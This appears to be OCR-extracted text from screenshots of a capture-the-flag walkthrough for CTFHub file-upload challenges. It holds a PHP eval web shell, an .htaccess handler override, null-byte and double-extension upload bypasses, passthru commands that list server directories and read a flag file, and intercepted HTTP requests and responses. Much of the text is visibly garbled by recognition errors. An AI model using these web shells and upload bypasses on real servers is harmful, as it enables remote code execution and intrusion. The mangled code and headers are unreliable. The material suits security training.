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1 <FilesMatch "s3j">

2 SetHandler application/x-httpd-php
3 </FilesMat Ch>{ e AN

_‘IIE ﬁﬁﬁ“%ﬁ:mddln jsp—ﬁ_lié?f(zh.rardln htaccesstd [H sj E3|

<?php passthru("ls /var/www/html /"
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« C O 8 challenge-3d2a13fc5d01034d.sandbox.ctfhub.com:10800/upload/sj

flag 2157313730.php index.php upload

4 BUsiFR LB Mm-S,
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Request | Response 1

J Raw | Headers | Hex |

HTTP/1.1 200 0K

Server: openresty/1.19.3.2

Date: Mon, 05 Jul 2021 07:22:49 GMT
Content-Type: text/html; charset=UTF-%
Commection: close

X-Powered-By: PHP/7.3.14
Access—Control-Allow-Origin: *
Access—Control-Allow-Headers: X-Requested-With
Access—Control-Allow-Hethods: *
Content-Length: 42
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El.phpml
| 1 <2?php Beval ($_POST['ccl23'l);?2
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if ('empty($_POST[ submit’])) {
$name = bhasename (§_FILES[ file ][ name’]):
$info = pathinfo ($name) ;
fext = $infol extension’]:
$whitelist = arrav( jpg”. “png”, “gif”):
if (in_array($ext, $whitelist)) {
$des = § GET"road'] . °/7 . rand(10, 99) . date( YmdHis") .
if (move_uploaded file(§ FILES[ file ][ tmp _name'], $des)) {
echo “<scriptralert (" L1ERI)" ) </script>”;
} else {
echo “<scriptialert (" L1EXKN" ) /script>”;

YL fext;

}
}oelse {
echo "UFFRERFILR";
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J Intercept | HTTP history | WebSockets history | Options |

[ @J Request to http://challenge-12e7c3f3f2e21a00 sandbox ctfhub.com:10800 [47.98.148.7]

[ Forward J l Drop J [ Intercept is on ] Action

J RawT Params T Headers I Hex ]

POST /?road=/var/www/html/uploaq/1. php%00 HITP/1.1

Host: challenge-12eTc3f9f2e2lalremrrirrer=rtfhub. com: 10800

IUser—Agent: Mozilla/5. 0 (Windows NT 10.0; Winf4: =64; 1v:89.0) Gecke/20100101 Firefox/89.0

Accept: text/html, application/zhtml+zml. application/=zmnl;q=0.9, inage/wehp, ¥/ g=0.8

Accept-Language: zh—CHN, zh;g=0. 8, gh-TW; g=0. 7, sh-HEK ; g=0. 5, en-U3 ; g=0. 3, enn; ¢=0. 2

Accept—Encoding: gzip. deflate

Referer: http://challenge-12eTc3f9f2e21a00. sandbox. ctfhub. com: 10800/ ?read=/var/vwww/htnl/uplead/1. php
Content-Type: multipart/form-data; boundary 22G60886TA13T30957462031913833
Content-Length: 366

Origin: http://challenge-12e7c3f9f2e21al0. sandbox. ctfhub. com: 10800

Comnection: close

Upegrade-Insecure-Requests: 1

22GE0BBETE13T3095T462031913833
Content-Disposition: form—data; name="file”; filename="1. jpg”
Content-Type: image/jpeg

<php @eval (§_POST[ cc1237 1) 7>
22660896T61373090T462031913833
Content-Di1sposition. rorm—data, name= submit”

Submit
2Z6B08867T613735957462031913833—
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[ Original request T Edited request IRespunse ]

jRawI Headers | Hex |

<seriptralert (O _EEREXY ) </script> <! DOCTYPE html
<html>

<head>

<meta charset="UTF-8">

<title>CTFHub YcfF_b4f — 008/ title>
<fhead:

“hody>
<h1>CTFHub Y {F bEf6 — 00f#T</m1>
“form action=7road=/var/ www/litml/ upload/ method="post” enctype="multipart/form—data”>
2label for="file" Filename: </label> S e
<input type="file” name="file” id="file" /> =y (L= R
<hr S
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21T www
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I upload

E| media

= tmp
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[E| run

E| home

[E| usr

E| opt

[E| EYE

E| proc

5] Libed

E| dev

7] bin

[El ate

E| boot

5] sbin

E| mnt

[E| SEV

E| selinux
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Ps http://challenge-c5056391_. | POST v 20(
<

Reqguest | Response W

| Raw | Headers | Hex |

Content-Length: 840

Comnection: close

X-Powered-By: PHPF/T.3.14

Vary: Accept—Encoding
Aocess—Control-Allow-Origin: *
Access—Control-Allow-Headers: X-Requested-With
Access—Control-Allow-Hethods: *

<seriptralert (O _EFERELY ) </ seripts b4k S I B§ 2 <br upload/ 1. </ DOCTYPE |himl
<html>

<head>
<meta charset="UIF-8">
<title>CTFHub MfF bfE——=aAl S /title>

</head>
“hody>
<h1>CTFHub ¥ b f——RUSHE /1>
“form action="" method="post” enctype="multipart/form—data”>
<label for="file">Filename: </label> .. .
Zinput type="file” name="file” id="file" /> w7 Jlmlf-'_lg".ﬂ'ﬁ-ﬂla[.]
<hr S

2. M B & Aphp1.pphphp, Bk B4R

83 http://challenge-c5056391... |POST |/ v
RAN

J Reqguest I Response }

JRawI Params T Headers I Hex }

POST / HITP/1.1

Host: challenge—ch0563911ed95dal. sandbox. ctfhub. com: 10800

Jser—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; 1v:89.0) Gecko/20100101 Firefox
fccept: text/html, application/zhtml4=nl, application/zml;q=0.9, inage/wehp, */*; q=0. 8
4ccept-Language: zh—CHN, zh;q=0. 8, zh—TW; q=0. 7, zh—HK ; q=0. 5, en-US5; ¢=0. 3, en; q=0. 2
4ccept—Encoding: gzip, deflate

Referer: http://challenge—c50563911ed95da8. sandbox. ctfhub. com: 10300/

Content—Type: multipart/form—data; boundary 14484031091064
Content—Length: 386

Jrigin: http://challenge-c505639112d95da8. sandbox. ctfhub. com: 10800

Comnection: close

Opgrade—Insecure-Requests: 1

14454031091064T0Y 38 (L1005 .3
Content-Disposition: form—data; name="file'|; filename="phpl. pphphp”
Content-Type: application/octet—stream

<9php @eval (§_POST[ cc1237 1) ;7>
144840310910640693842704116083
Content-Disposition: form—data; name="submit”

Submit
144840310910640693842704116093-— NG (7R )
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1 <?php passthru("ls fvarfmwihtm_")
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O 8 challenge-c50563911ed95da8.sandbox.ctfhub.com:10800/upload/1.php

flag 139322513.php index.php upload
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<?php passthru("cat /var/www/html/flag 1393225

163 | http://challengec5056391... | GET  fupload/1.php
4{

Request | Response ]

JRawI Headers | Hex |

ITTP/1.1 200 OK

Server: openresty/1.19.3.2

Jate: Mom., 05 Jul 2021 08:32:23 GMT
Content—Type: text/html: charset=UTF-3
Connection: close

i-Powered-Bv: PHP/7.3.14
becess—Control-Allow-Origin: #*
becess—Control-Allow-Headers: X-Requested-With
becess—Control-Allow—Methods: #*
Content-Length: 42

<php // ctflub{832974e7£348072220927c702} R
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